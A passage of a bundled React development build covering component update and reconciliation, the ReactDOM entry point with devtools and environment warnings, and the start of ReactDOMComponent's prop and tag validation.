\"development\" !== 'production' ? invariant(false, '%s: %s type `%s` is invalid; it must be a function, usually ' + 'from React.PropTypes.', componentName || 'React class', ReactPropTypeLocationNames[location], propName) : invariant(false) : void 0;\n          error = propTypes[propName](props, propName, componentName, location);\n        } catch (ex) {\n          error = ex;\n        }\n        if (error instanceof Error) {\n          // We may want to extend this logic for similar errors in\n          // top-level render calls, so I'm abstracting it away into\n          // a function to minimize refactoring in the future\n          var addendum = getDeclarationErrorAddendum(this);\n\n          if (location === ReactPropTypeLocations.prop) {\n            // Preface gives us something to blacklist in warning module\n            \"development\" !== 'production' ? warning(false, 'Failed Composite propType: %s%s', error.message, addendum) : void 0;\n          } else {\n            \"development\" !== 'production' ? warning(false, 'Failed Context Types: %s%s', error.message, addendum) : void 0;\n          }\n        }\n      }\n    }\n  },\n\n  receiveComponent: function (nextElement, transaction, nextContext) {\n    var prevElement = this._currentElement;\n    var prevContext = this._context;\n\n    this._pendingElement = null;\n\n    this.updateComponent(transaction, prevElement, nextElement, prevContext, nextContext);\n  },\n\n  /**\n   * If any of `_pendingElement`, `_pendingStateQueue`, or `_pendingForceUpdate`\n   * is set, update the component.\n   *\n   * @param {ReactReconcileTransaction} transaction\n   * @internal\n   */\n  performUpdateIfNecessary: function (transaction) {\n    if (this._pendingElement != null) {\n      ReactReconciler.receiveComponent(this, this._pendingElement, transaction, this._context);\n    }\n\n    if (this._pendingStateQueue !== null || this._pendingForceUpdate) {\n      this.updateComponent(transaction, this._currentElement, this._currentElement, this._context, this._context);\n    }\n  },\n\n  /**\n   * Perform an update to a mounted component. The componentWillReceiveProps and\n   * shouldComponentUpdate methods are called, then (assuming the update isn't\n   * skipped) the remaining update lifecycle methods are called and the DOM\n   * representation is updated.\n   *\n   * By default, this implements React's rendering and reconciliation algorithm.\n   * Sophisticated clients may wish to override this.\n   *\n   * @param {ReactReconcileTransaction} transaction\n   * @param {ReactElement} prevParentElement\n   * @param {ReactElement} nextParentElement\n   * @internal\n   * @overridable\n   */\n  updateComponent: function (transaction, prevParentElement, nextParentElement, prevUnmaskedContext, nextUnmaskedContext) {\n    var inst = this._instance;\n    var willReceive = false;\n    var nextContext;\n    var nextProps;\n\n    // Determine if the context has changed or not\n    if (this._context === nextUnmaskedContext) {\n      nextContext = inst.context;\n    } else {\n      nextContext = this._processContext(nextUnmaskedContext);\n      willReceive = true;\n    }\n\n    // Distinguish between a props update versus a simple state update\n    if (prevParentElement === nextParentElement) {\n      // Skip checking prop types again -- we don't read inst.props to avoid\n      // warning for DOM component props in this upgrade\n      nextProps = nextParentElement.props;\n    } else {\n      nextProps = this._processProps(nextParentElement.props);\n      willReceive = true;\n    }\n\n    // An update here will schedule an update but immediately set\n    // _pendingStateQueue which will ensure that any state updates gets\n    // immediately reconciled instead of waiting for the next batch.\n    if (willReceive && inst.componentWillReceiveProps) {\n      inst.componentWillReceiveProps(nextProps, nextContext);\n    }\n\n    var nextState = this._processPendingState(nextProps, nextContext);\n\n    var shouldUpdate = this._pendingForceUpdate || !inst.shouldComponentUpdate || inst.shouldComponentUpdate(nextProps, nextState, nextContext);\n\n    if (\"development\" !== 'production') {\n      \"development\" !== 'production' ? warning(shouldUpdate !== undefined, '%s.shouldComponentUpdate(): Returned undefined instead of a ' + 'boolean value. Make sure to return true or false.', this.getName() || 'ReactCompositeComponent') : void 0;\n    }\n\n    if (shouldUpdate) {\n      this._pendingForceUpdate = false;\n      // Will set `this.props`, `this.state` and `this.context`.\n      this._performComponentUpdate(nextParentElement, nextProps, nextState, nextContext, transaction, nextUnmaskedContext);\n    } else {\n      // If it's determined that a component should not update, we still want\n      // to set props and state but we shortcut the rest of the update.\n      this._currentElement = nextParentElement;\n      this._context = nextUnmaskedContext;\n      inst.props = nextProps;\n      inst.state = nextState;\n      inst.context = nextContext;\n    }\n  },\n\n  _processPendingState: function (props, context) {\n    var inst = this._instance;\n    var queue = this._pendingStateQueue;\n    var replace = this._pendingReplaceState;\n    this._pendingReplaceState = false;\n    this._pendingStateQueue = null;\n\n    if (!queue) {\n      return inst.state;\n    }\n\n    if (replace && queue.length === 1) {\n      return queue[0];\n    }\n\n    var nextState = _assign({}, replace ? queue[0] : inst.state);\n    for (var i = replace ? 1 : 0; i < queue.length; i++) {\n      var partial = queue[i];\n      _assign(nextState, typeof partial === 'function' ? partial.call(inst, nextState, props, context) : partial);\n    }\n\n    return nextState;\n  },\n\n  /**\n   * Merges new props and state, notifies delegate methods of update and\n   * performs update.\n   *\n   * @param {ReactElement} nextElement Next element\n   * @param {object} nextProps Next public object to set as properties.\n   * @param {?object} nextState Next object to set as state.\n   * @param {?object} nextContext Next public object to set as context.\n   * @param {ReactReconcileTransaction} transaction\n   * @param {?object} unmaskedContext\n   * @private\n   */\n  _performComponentUpdate: function (nextElement, nextProps, nextState, nextContext, transaction, unmaskedContext) {\n    var inst = this._instance;\n\n    var hasComponentDidUpdate = Boolean(inst.componentDidUpdate);\n    var prevProps;\n    var prevState;\n    var prevContext;\n    if (hasComponentDidUpdate) {\n      prevProps = inst.props;\n      prevState = inst.state;\n      prevContext = inst.context;\n    }\n\n    if (inst.componentWillUpdate) {\n      inst.componentWillUpdate(nextProps, nextState, nextContext);\n    }\n\n    this._currentElement = nextElement;\n    this._context = unmaskedContext;\n    inst.props = nextProps;\n    inst.state = nextState;\n    inst.context = nextContext;\n\n    this._updateRenderedComponent(transaction, unmaskedContext);\n\n    if (hasComponentDidUpdate) {\n      transaction.getReactMountReady().enqueue(inst.componentDidUpdate.bind(inst, prevProps, prevState, prevContext), inst);\n    }\n  },\n\n  /**\n   * Call the component's `render` method and update the DOM accordingly.\n   *\n   * @param {ReactReconcileTransaction} transaction\n   * @internal\n   */\n  _updateRenderedComponent: function (transaction, context) {\n    var prevComponentInstance = this._renderedComponent;\n    var prevRenderedElement = prevComponentInstance._currentElement;\n    var nextRenderedElement = this._renderValidatedComponent();\n    if (shouldUpdateReactComponent(prevRenderedElement, nextRenderedElement)) {\n      ReactReconciler.receiveComponent(prevComponentInstance, nextRenderedElement, transaction, this._processChildContext(context));\n    } else {\n      var oldNativeNode = ReactReconciler.getNativeNode(prevComponentInstance);\n      ReactReconciler.unmountComponent(prevComponentInstance, false);\n\n      this._renderedNodeType = ReactNodeTypes.getType(nextRenderedElement);\n      this._renderedComponent = this._instantiateReactComponent(nextRenderedElement);\n      var nextMarkup = ReactReconciler.mountComponent(this._renderedComponent, transaction, this._nativeParent, this._nativeContainerInfo, this._processChildContext(context));\n      this._replaceNodeWithMarkup(oldNativeNode, nextMarkup);\n    }\n  },\n\n  /**\n   * Overridden in shallow rendering.\n   *\n   * @protected\n   */\n  _replaceNodeWithMarkup: function (oldNativeNode, nextMarkup) {\n    ReactComponentEnvironment.replaceNodeWithMarkup(oldNativeNode, nextMarkup);\n  },\n\n  /**\n   * @protected\n   */\n  _renderValidatedComponentWithoutOwnerOrContext: function () {\n    var inst = this._instance;\n    var renderedComponent = inst.render();\n    if (\"development\" !== 'production') {\n      // We allow auto-mocks to proceed as if they're returning null.\n      if (renderedComponent === undefined && inst.render._isMockFunction) {\n        // This is probably bad practice. Consider warning here and\n        // deprecating this convenience.\n        renderedComponent = null;\n      }\n    }\n\n    return renderedComponent;\n  },\n\n  /**\n   * @private\n   */\n  _renderValidatedComponent: function () {\n    var renderedComponent;\n    ReactCurrentOwner.current = this;\n    try {\n      renderedComponent = this._renderValidatedComponentWithoutOwnerOrContext();\n    } finally {\n      ReactCurrentOwner.current = null;\n    }\n    !(\n    // TODO: An `isValidNode` function would probably be more appropriate\n    renderedComponent === null || renderedComponent === false || ReactElement.isValidElement(renderedComponent)) ? \"development\" !== 'production' ? invariant(false, '%s.render(): A valid React element (or null) must be returned. You may have ' + 'returned undefined, an array or some other invalid object.', this.getName() || 'ReactCompositeComponent') : invariant(false) : void 0;\n    return renderedComponent;\n  },\n\n  /**\n   * Lazily allocates the refs object and stores `component` as `ref`.\n   *\n   * @param {string} ref Reference name.\n   * @param {component} component Component to store as `ref`.\n   * @final\n   * @private\n   */\n  attachRef: function (ref, component) {\n    var inst = this.getPublicInstance();\n    !(inst != null) ? \"development\" !== 'production' ? invariant(false, 'Stateless function components cannot have refs.') : invariant(false) : void 0;\n    var publicComponentInstance = component.getPublicInstance();\n    if (\"development\" !== 'production') {\n      var componentName = component && component.getName ? component.getName() : 'a component';\n      \"development\" !== 'production' ? warning(publicComponentInstance != null, 'Stateless function components cannot be given refs ' + '(See ref \"%s\" in %s created by %s). ' + 'Attempts to access this ref will fail.', ref, componentName, this.getName()) : void 0;\n    }\n    var refs = inst.refs === emptyObject ? inst.refs = {} : inst.refs;\n    refs[ref] = publicComponentInstance;\n  },\n\n  /**\n   * Detaches a reference name.\n   *\n   * @param {string} ref Name to dereference.\n   * @final\n   * @private\n   */\n  detachRef: function (ref) {\n    var refs = this.getPublicInstance().refs;\n    delete refs[ref];\n  },\n\n  /**\n   * Get a text description of the component that can be used to identify it\n   * in error messages.\n   * @return {string} The name or null.\n   * @internal\n   */\n  getName: function () {\n    var type = this._currentElement.type;\n    var constructor = this._instance && this._instance.constructor;\n    return type.displayName || constructor && constructor.displayName || type.name || constructor && constructor.name || null;\n  },\n\n  /**\n   * Get the publicly accessible representation of this component - i.e. what\n   * is exposed by refs and returned by render. Can be null for stateless\n   * components.\n   *\n   * @return {ReactComponent} the public component instance.\n   * @internal\n   */\n  getPublicInstance: function () {\n    var inst = this._instance;\n    if (inst instanceof StatelessComponent) {\n      return null;\n    }\n    return inst;\n  },\n\n  // Stub\n  _instantiateReactComponent: null\n\n};\n\nReactPerf.measureMethods(ReactCompositeComponentMixin, 'ReactCompositeComponent', {\n  mountComponent: 'mountComponent',\n  updateComponent: 'updateComponent',\n  _renderValidatedComponent: '_renderValidatedComponent'\n});\n\nvar ReactCompositeComponent = {\n\n  Mixin: ReactCompositeComponentMixin\n\n};\n\nmodule.exports = ReactCompositeComponent;\n},{\"140\":140,\"151\":151,\"158\":158,\"168\":168,\"169\":169,\"33\":33,\"35\":35,\"62\":62,\"65\":65,\"71\":71,\"72\":72,\"79\":79,\"82\":82,\"83\":83,\"84\":84,\"87\":87,\"93\":93}],35:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactCurrentOwner\n */\n\n'use strict';\n\n/**\n * Keeps track of the current owner.\n *\n * The current owner is the component who should own any components that are\n * currently being constructed.\n */\n\nvar ReactCurrentOwner = {\n\n  /**\n   * @internal\n   * @type {ReactComponent}\n   */\n  current: null\n\n};\n\nmodule.exports = ReactCurrentOwner;\n},{}],36:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOM\n */\n\n/* globals __REACT_DEVTOOLS_GLOBAL_HOOK__*/\n\n'use strict';\n\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactDefaultInjection = _dereq_(59);\nvar ReactMount = _dereq_(75);\nvar ReactPerf = _dereq_(82);\nvar ReactReconciler = _dereq_(87);\nvar ReactUpdates = _dereq_(94);\nvar ReactVersion = _dereq_(95);\n\nvar findDOMNode = _dereq_(120);\nvar getNativeComponentFromComposite = _dereq_(128);\nvar renderSubtreeIntoContainer = _dereq_(137);\nvar warning = _dereq_(168);\n\nReactDefaultInjection.inject();\n\nvar render = ReactPerf.measure('React', 'render', ReactMount.render);\n\nvar React = {\n  findDOMNode: findDOMNode,\n  render: render,\n  unmountComponentAtNode: ReactMount.unmountComponentAtNode,\n  version: ReactVersion,\n\n  /* eslint-disable camelcase */\n  unstable_batchedUpdates: ReactUpdates.batchedUpdates,\n  unstable_renderSubtreeIntoContainer: renderSubtreeIntoContainer\n};\n\n// Inject the runtime into a devtools global hook regardless of browser.\n// Allows for debugging when the hook is injected on the page.\n/* eslint-enable camelcase */\nif (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ !== 'undefined' && typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.inject === 'function') {\n  __REACT_DEVTOOLS_GLOBAL_HOOK__.inject({\n    ComponentTree: {\n      getClosestInstanceFromNode: ReactDOMComponentTree.getClosestInstanceFromNode,\n      getNodeFromInstance: function (inst) {\n        // inst is an internal instance (but could be a composite)\n        if (inst._renderedComponent) {\n          inst = getNativeComponentFromComposite(inst);\n        }\n        if (inst) {\n          return ReactDOMComponentTree.getNodeFromInstance(inst);\n        } else {\n          return null;\n        }\n      }\n    },\n    Mount: ReactMount,\n    Reconciler: ReactReconciler\n  });\n}\n\nif (\"development\" !== 'production') {\n  var ExecutionEnvironment = _dereq_(144);\n  if (ExecutionEnvironment.canUseDOM && window.top === window.self) {\n\n    // First check if devtools is not installed\n    if (typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ === 'undefined') {\n      // If we're in Chrome or Firefox, provide a download link if not installed.\n      if (navigator.userAgent.indexOf('Chrome') > -1 && navigator.userAgent.indexOf('Edge') === -1 || navigator.userAgent.indexOf('Firefox') > -1) {\n        // Firefox does not have the issue with devtools loaded over file://\n        var showFileUrlMessage = window.location.protocol.indexOf('http') === -1 && navigator.userAgent.indexOf('Firefox') === -1;\n        // console.debug('Download the React DevTools ' + (showFileUrlMessage ? 'and use an HTTP server (instead of a file: URL) ' : '') + 'for a better development experience: ' + 'https://fb.me/react-devtools');\n      }\n    }\n\n    var testFunc = function testFn() {};\n    \"development\" !== 'production' ? warning((testFunc.name || testFunc.toString()).indexOf('testFn') !== -1, 'It looks like you\\'re using a minified copy of the development build ' + 'of React. When deploying React apps to production, make sure to use ' + 'the production build which skips development warnings and is faster. ' + 'See https://fb.me/react-minification for more details.') : void 0;\n\n    // If we're in IE8, check to see if we are in compatibility mode and provide\n    // information on preventing compatibility mode\n    var ieCompatibilityMode = document.documentMode && document.documentMode < 8;\n\n    \"development\" !== 'production' ? warning(!ieCompatibilityMode, 'Internet Explorer is running in compatibility mode; please add the ' + 'following tag to your HTML to prevent this from happening: ' + '<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />') : void 0;\n\n    var expectedFeatures = [\n    // shims\n    Array.isArray, Array.prototype.every, Array.prototype.forEach, Array.prototype.indexOf, Array.prototype.map, Date.now, Function.prototype.bind, Object.keys, String.prototype.split, String.prototype.trim];\n\n    for (var i = 0; i < expectedFeatures.length; i++) {\n      if (!expectedFeatures[i]) {\n        \"development\" !== 'production' ? warning(false, 'One or more ES5 shims expected by React are not available: ' + 'https://fb.me/react-warning-polyfills') : void 0;\n        break;\n      }\n    }\n  }\n}\n\nmodule.exports = React;\n},{\"120\":120,\"128\":128,\"137\":137,\"144\":144,\"168\":168,\"40\":40,\"59\":59,\"75\":75,\"82\":82,\"87\":87,\"94\":94,\"95\":95}],37:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMButton\n */\n\n'use strict';\n\nvar DisabledInputUtils = _dereq_(14);\n\n/**\n * Implements a <button> native component that does not receive mouse events\n * when `disabled` is set.\n */\nvar ReactDOMButton = {\n  getNativeProps: DisabledInputUtils.getNativeProps\n};\n\nmodule.exports = ReactDOMButton;\n},{\"14\":14}],38:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMComponent\n */\n\n/* global hasOwnProperty:true */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar AutoFocusUtils = _dereq_(1);\nvar CSSPropertyOperations = _dereq_(4);\nvar DOMLazyTree = _dereq_(8);\nvar DOMNamespaces = _dereq_(9);\nvar DOMProperty = _dereq_(10);\nvar DOMPropertyOperations = _dereq_(11);\nvar EventConstants = _dereq_(16);\nvar EventPluginHub = _dereq_(17);\nvar EventPluginRegistry = _dereq_(18);\nvar ReactBrowserEventEmitter = _dereq_(27);\nvar ReactComponentBrowserEnvironment = _dereq_(32);\nvar ReactDOMButton = _dereq_(37);\nvar ReactDOMComponentFlags = _dereq_(39);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactDOMInput = _dereq_(47);\nvar ReactDOMOption = _dereq_(49);\nvar ReactDOMSelect = _dereq_(50);\nvar ReactDOMTextarea = _dereq_(54);\nvar ReactMultiChild = _dereq_(76);\nvar ReactPerf = _dereq_(82);\n\nvar escapeTextContentForBrowser = _dereq_(119);\nvar invariant = _dereq_(158);\nvar isEventSupported = _dereq_(133);\nvar keyOf = _dereq_(162);\nvar shallowEqual = _dereq_(167);\nvar validateDOMNesting = _dereq_(142);\nvar warning = _dereq_(168);\n\nvar Flags = ReactDOMComponentFlags;\nvar deleteListener = EventPluginHub.deleteListener;\nvar getNode = ReactDOMComponentTree.getNodeFromInstance;\nvar listenTo = ReactBrowserEventEmitter.listenTo;\nvar registrationNameModules = EventPluginRegistry.registrationNameModules;\n\n// For quickly matching children type, to test if can be treated as content.\nvar CONTENT_TYPES = { 'string': true, 'number': true };\n\nvar STYLE = keyOf({ style: null });\nvar HTML = keyOf({ __html: null });\nvar RESERVED_PROPS = {\n  children: null,\n  dangerouslySetInnerHTML: null,\n  suppressContentEditableWarning: null\n};\n\n// Node type for document fragments (Node.DOCUMENT_FRAGMENT_NODE).\nvar DOC_FRAGMENT_TYPE = 11;\n\nfunction getDeclarationErrorAddendum(internalInstance) {\n  if (internalInstance) {\n    var owner = internalInstance._currentElement._owner || null;\n    if (owner) {\n      var name = owner.getName();\n      if (name) {\n        return ' This DOM node was rendered by `' + name + '`.';\n      }\n    }\n  }\n  return '';\n}\n\nfunction friendlyStringify(obj) {\n  if (typeof obj === 'object') {\n    if (Array.isArray(obj)) {\n      return '[' + obj.map(friendlyStringify).join(', ') + ']';\n    } else {\n      var pairs = [];\n      for (var key in obj) {\n        if (Object.prototype.hasOwnProperty.call(obj, key)) {\n          var keyEscaped = /^[a-z$_][\\w$_]*$/i.test(key) ? key : JSON.stringify(key);\n          pairs.push(keyEscaped + ': ' + friendlyStringify(obj[key]));\n        }\n      }\n      return '{' + pairs.join(', ') + '}';\n    }\n  } else if (typeof obj === 'string') {\n    return JSON.stringify(obj);\n  } else if (typeof obj === 'function') {\n    return '[function object]';\n  }\n  // Differs from JSON.stringify in that undefined because undefined and that\n  // inf and nan don't become null\n  return String(obj);\n}\n\nvar styleMutationWarning = {};\n\nfunction checkAndWarnForMutatedStyle(style1, style2, component) {\n  if (style1 == null || style2 == null) {\n    return;\n  }\n  if (shallowEqual(style1, style2)) {\n    return;\n  }\n\n  var componentName = component._tag;\n  var owner = component._currentElement._owner;\n  var ownerName;\n  if (owner) {\n    ownerName = owner.getName();\n  }\n\n  var hash = ownerName + '|' + componentName;\n\n  if (styleMutationWarning.hasOwnProperty(hash)) {\n    return;\n  }\n\n  styleMutationWarning[hash] = true;\n\n  \"development\" !== 'production' ? warning(false, '`%s` was passed a style object that has previously been mutated. ' + 'Mutating `style` is deprecated. Consider cloning it beforehand. Check ' + 'the `render` %s. Previous style: %s. Mutated style: %s.', componentName, owner ? 'of `' + ownerName + '`' : 'using <' + componentName + '>', friendlyStringify(style1), friendlyStringify(style2)) : void 0;\n}\n\n/**\n * @param {object} component\n * @param {?object} props\n */\nfunction assertValidProps(component, props) {\n  if (!props) {\n    return;\n  }\n  // Note the use of `==` which checks for null or undefined.\n  if (voidElementTags[component._tag]) {\n    !(props.children == null && props.dangerouslySetInnerHTML == null) ? \"development\" !== 'production' ? invariant(false, '%s is a void element tag and must not have `children` or ' + 'use `props.dangerouslySetInnerHTML`.%s', component._tag, component._currentElement._owner ? ' Check the render method of ' + component._currentElement._owner.getName() + '.' : '') : invariant(false) : void 0;\n  }\n  if (props.dangerouslySetInnerHTML != null) {\n    !(props.children == null) ? \"development\" !== 'production' ? invariant(false, 'Can only set one of `children` or `props.dangerouslySetInnerHTML`.') : invariant(false) : void 0;\n    !(typeof props.dangerouslySetInnerHTML === 'object' && HTML in props.dangerouslySetInnerHTML) ? \"development\" !== 'production' ? invariant(false, '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' + 'Please visit https://fb.me/react-invariant-dangerously-set-inner-html ' + 'for more information.') : invariant(false) : void 0;\n  }\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(props.innerHTML == null, 'Directly setting property `innerHTML` is not permitted. ' + 'For more information, lookup documentation on `dangerouslySetInnerHTML`.') : void 0;\n    \"development\" !== 'production' ? warning(props.suppressContentEditableWarning || !props.contentEditable || props.children == null, 'A component is `contentEditable` and contains `children` managed by ' + 'React. It is now your responsibility to guarantee that none of ' + 'those nodes are unexpectedly modified or duplicated. This is ' + 'probably not intentional.') : void 0;\n    \"development\" !== 'production' ? warning(props.onFocusIn == null && props.onFocusOut == null, 'React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' + 'All React events are normalized to bubble, so onFocusIn and onFocusOut ' + 'are not needed/supported by React.') : void 0;\n  }\n  !(props.style == null || typeof props.style === 'object') ? \"development\" !== 'production' ? invariant(false, 'The `style` prop expects a mapping from style properties to values, ' + 'not a string. For example, style={{marginRight: spacing + \\'em\\'}} when ' + 'using JSX.%s', getDeclarationErrorAddendum(component)) : invariant(false) : void 0;\n}\n\nfunction enqueuePutListener(inst, registrationName, listener, transaction) {\n  if (\"development\" !== 'production') {\n    // IE8 has no API for event capturing and the `onScroll` event doesn't\n    // bubble.\n    \"development\" !== 'production' ? warning(registrationName !== 'onScroll' || isEventSupported('scroll', true), 'This browser doesn\\'t support the `onScroll` event') : void 0;\n  }\n  var containerInfo = inst._nativeContainerInfo;\n  var isDocumentFragment = containerInfo._node && containerInfo._node.nodeType === DOC_FRAGMENT_TYPE;\n  var doc = isDocumentFragment ? containerInfo._node : containerInfo._ownerDocument;\n  if (!doc) {\n    // Server rendering.\n    return;\n  }\n  listenTo(registrationName, doc);\n  transaction.getReactMountReady().enqueue(putListener, {\n    inst: inst,\n    registrationName: registrationName,\n    listener: listener\n  });\n}\n\nfunction putListener() {\n  var listenerToPut = this;\n  EventPluginHub.putListener(listenerToPut.inst, listenerToPut.registrationName, listenerToPut.listener);\n}\n\nfunction optionPostMount() {\n  var inst = this;\n  ReactDOMOption.postMountWrapper(inst);\n}\n\n// There are so many media events, it makes sense to just\n// maintain a list rather than create a `trapBubbledEvent` for each\nvar mediaEvents = {\n  topAbort: 'abort',\n  topCanPlay: 'canplay',\n  topCanPlayThrough: 'canplaythrough',\n  topDurationChange: 'durationchange',\n  topEmptied: 'emptied',\n  topEncrypted: 'encrypted',\n  topEnded: 'ended',\n  topError: 'error',\n  topLoadedData: 'loadeddata',\n  topLoadedMetadata: 'loadedmetadata',\n  topLoadStart: 'loadstart',\n  topPause: 'pause',\n  topPlay: 'play',\n  topPlaying: 'playing',\n  topProgress: 'progress',\n  topRateChange: 'ratechange',\n  topSeeked: 'seeked',\n  topSeeking: 'seeking',\n  topStalled: 'stalled',\n  topSuspend: 'suspend',\n  topTimeUpdate: 'timeupdate',\n  topVolumeChange: 'volumechange',\n  topWaiting: 'waiting'\n};\n\nfunction trapBubbledEventsLocal() {\n  var inst = this;\n  // If a component renders to null or if another component fatals and causes\n  // the state of the tree to be corrupted, `node` here can be null.\n  !inst._rootNodeID ? \"development\" !== 'production' ? invariant(false, 'Must be mounted to trap events') : invariant(false) : void 0;\n  var node = getNode(inst);\n  !node ? \"development\" !== 'production' ? invariant(false, 'trapBubbledEvent(...): Requires node to be rendered.') : invariant(false) : void 0;\n\n  switch (inst._tag) {\n    case 'iframe':\n    case 'object':\n      inst._wrapperState.listeners = [ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes.topLoad, 'load', node)];\n      break;\n    case 'video':\n    case 'audio':\n\n      inst._wrapperState.listeners = [];\n      // Create listener for each media event\n      for (var event in mediaEvents) {\n        if (mediaEvents.hasOwnProperty(event)) {\n          inst._wrapperState.listeners.push(ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes[event], mediaEvents[event], node));\n        }\n      }\n\n      break;\n    case 'img':\n      inst._wrapperState.listeners = [ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes.topError, 'error', node), ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes.topLoad, 'load', node)];\n      break;\n    case 'form':\n      inst._wrapperState.listeners = [ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes.topReset, 'reset', node), ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes.topSubmit, 'submit', node)];\n      break;\n    case 'input':\n    case 'select':\n    case 'textarea':\n      inst._wrapperState.listeners = [ReactBrowserEventEmitter.trapBubbledEvent(EventConstants.topLevelTypes.topInvalid, 'invalid', node)];\n      break;\n  }\n}\n\nfunction postUpdateSelectWrapper() {\n  ReactDOMSelect.postUpdateWrapper(this);\n}\n\n// For HTML, certain tags should omit their close tag. We keep a whitelist for\n// those special-case tags.\n\nvar omittedCloseTags = {\n  'area': true,\n  'base': true,\n  'br': true,\n  'col': true,\n  'embed': true,\n  'hr': true,\n  'img': true,\n  'input': true,\n  'keygen': true,\n  'link': true,\n  'meta': true,\n  'param': true,\n  'source': true,\n  'track': true,\n  'wbr': true\n};\n\n// NOTE: menuitem's close tag should be omitted, but that causes problems.\nvar newlineEatingTags = {\n  'listing': true,\n  'pre': true,\n  'textarea': true\n};\n\n// For HTML, certain tags cannot have children. This has the same purpose as\n// `omittedCloseTags` except that `menuitem` should still have its closing tag.\n\nvar voidElementTags = _assign({\n  'menuitem': true\n}, omittedCloseTags);\n\n// We accept any tag to be rendered but since this gets injected into arbitrary\n// HTML, we want to make sure that it's a safe tag.\n// http://www.w3.org/TR/REC-xml/#NT-Name\n\nvar VALID_TAG_REGEX = /^[a-zA-Z][a-zA-Z:_\\.\\-\\d]*$/; // Simplified subset\nvar validatedTagCache = {};\nvar hasOwnProperty = {}.hasOwnProperty;\n\nfunction validateDangerousTag(tag) {\n  if (!hasOwnProperty.call(validatedTagCache, tag)) {\n    !VALID_TAG_REGEX.test(tag) ? \"development\" !== 'production' ? invariant(false, 'Invalid tag: %s', tag) : invariant(false) : void 0;\n    validatedTagCache[tag] = true;\n  }\n}\n\nfunction isCustomComponent(tagName, props) {\n  return tagName.indexOf('-') >= 0 || props.is != null;\n}\n\nvar globalIdCounter = 1;\n\n/**\n * Creates a new React class that is idempotent and capable of containing other\n * React components. It accepts event listeners and DOM properties that are\n * valid according to `DOMProperty`.\n *\n *  - Event listeners: `onClick`, `onMouseDown`, etc.\n *  - DOM properties: `className`, `name`, `title`, etc.\n *\n * The `style` property functions differently from the DOM API. It accepts an\n * object mapping of style properties to values.\n *\n * @constructor ReactDOMComponent\n * @extends ReactMultiChild\n */\nfunction ReactDOMComponent(element) {\n  var tag = element.type;\n  validateDangerousTag(tag);\n  this._currentElement = element;\n  this._tag = tag.toLowerCase();\n  this._namespaceURI = null;\n  this._renderedChildren = null;\n  this._previousStyle = null;\n  this._previousStyleCopy = null;\n  this._nativeNode = null;\n  this._nativeParent = null;\n  this._rootNodeID = null;\n  this._domID = null;\n  this._nativeContainerInfo = null;\n  this._wrapperState = null;\n  this._topLevelWrapper = null;\n  this._flags = 0;\n  if (\"development\" !== 'production') {\n    this._ancestorInfo = null;\n  }\n}\n\nReactDOMComponent.displayName = 'ReactDOMComponent';\n\nReactDOMComponent.Mixin = {\n\n  /**\n   * Generates root tag markup then recurses. This method has side effects and\n   * is not idempotent.\n   *\n   * @internal\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @param {?ReactDOMComponent} the containing DOM component instance\n   * @param {?object} info about the native container\n   * @param {object} context\n   * @return {string} The computed markup.\n   */\n  mountComponent: function (transaction, nativeParent, nativeContainerInfo, context) {\n    this._rootNodeID = globalIdCounter++;\n    this._domID = nativeContainerInfo._idCounter++;\n    this._nativeParent = nativeParent;\n    this._nativeContainerInfo = nativeContainerInfo;\n\n    var props = this._currentElement.props;\n\n    switch (this._tag) {\n      case 'iframe':\n      case 'object':\n      case 'img':\n      case 'form':\n      case 'video':\n      case 'audio':\n        this._wrapperState = {\n          listeners: null\n        };\n        transaction.getReactMountReady().enqueue(trapBubbledEventsLocal, this);\n        break;\n      case 'button':\n        props = ReactDOMButton.getNativeProps(this, props, nativeParent);\n        break;\n      case 'input':\n        ReactDOMInput.mountWrapper(this, props, nativeParent);\n        props = ReactDOMInput.getNativeProps(this, props);\n        transaction.getReactMountReady().enqueue(trapBubbledEventsLocal, this);\n        break;\n      case 'option':\n        ReactDOMOption.mountWrapper(this, props, nativeParent);\n        props = ReactDOMOption.getNativeProps(this, props);\n        break;\n      case 'select':\n        ReactDOMSelect.mountWrapper(this, props, nativeParent);\n        props = ReactDOMSelect.getNativeProps(this, props);\n        transaction.getReactMountReady().enqueue(trapBubbledEventsLocal, this);\n        break;\n      case 'textarea':\n        ReactDOMTextarea.mountWrapper(this, props, nativeParent);\n        props = ReactDOMTextarea.getNativeProps(this, props);\n        transaction.getReactMountReady().enqueue(trapBubbledEventsLocal, this);\n        break;\n    }\n\n    assertValidProps(this, props);\n\n    // We create tags in the namespace of their parent container, except HTML\n    // tags get no namespace.\n    var 